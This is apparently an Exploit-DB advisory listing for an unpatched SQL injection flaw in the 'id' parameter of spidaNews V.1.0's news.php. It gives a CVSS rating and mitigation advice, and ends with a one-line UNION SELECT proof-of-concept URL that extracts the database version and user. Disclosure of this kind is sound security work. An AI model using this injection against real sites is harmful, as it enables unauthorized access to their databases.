spidaNews V.1.0 SQL injection Vulnerability news.php (id)

vendor:

spidaNews

by:

Easy Laster

7.5

CVSS

HIGH

SQL injection

CWE

Product Name: spidaNews

Affected Version From: spidaNews V.1.0

Affected Version To: spidaNews V.1.0

Patch Exists: NO

Related CWE:

CPE:

Metasploit:

Other Scripts:

Platforms Tested:

2011

spidaNews V.1.0 SQL injection Vulnerability news.php (id)

The spidaNews V.1.0 script is vulnerable to SQL injection in the news.php file. An attacker can exploit this vulnerability by injecting malicious SQL code through the 'id' parameter. This can lead to unauthorized access, data manipulation, and other malicious activities.

Mitigation:

To mitigate this vulnerability, it is recommended to implement proper input validation and sanitization techniques. Using prepared statements or parameterized queries can also help prevent SQL injection attacks. Regular security updates and patches should be applied to the spidaNews script to address any known vulnerabilities.

Source

Exploit-DB raw data:

----------------------------Information------------------------------------------------
+Name : spidaNews V.1.0 SQL injection Vulnerability news.php (id)
+Autor : Easy Laster
+Date   : 02.04.2011
+Script  : spidaNews V.1.0
+Download : http://www.spidanet.de/webmaster/download/spidaNews.zip
+Price : free
+Language : PHP
+Discovered by Easy Laster
+Security Group 4004-Security-Project.com
+Greetz to Team-Internet ,Underground Agents, websec-empire.to and free-hack.com
+And all Friends of Cyberlive : R!p,Eddy14,Silent Vapor,Nolok,
Kiba,-tmh-,Dr.ChAoS,HANN!BAL,Kabel,-=Player=-,Lidloses_Auge,
N00bor,Ic3Drag0n,novaca!ne,n3w7u,Maverick010101,s0red,c1ox,enco.
  
---------------------------------------------------------------------------------------
                                                                                       
 ___ ___ ___ ___                         _ _           _____           _         _ 
| | |   |   | | |___ ___ ___ ___ _ _ ___|_| |_ _ _ ___|  _  |___ ___  |_|___ ___| |_
|_  | | | | |_  |___|_ -| -_|  _| | |  _| |  _| | |___|   __|  _| . | | | -_|  _|  _|
  |_|___|___| |_|   |___|___|___|___|_| |_|_| |_  |   |__|  |_| |___|_| |___|___|_|
                                              |___|                 |___|          
  
  
----------------------------------------------------------------------------------------
#proof of concept
http://localhost/spidaNews/news.php?id=%27/**/+union+/**/select/**/+1,2,3
,version(),user(),6/**/--+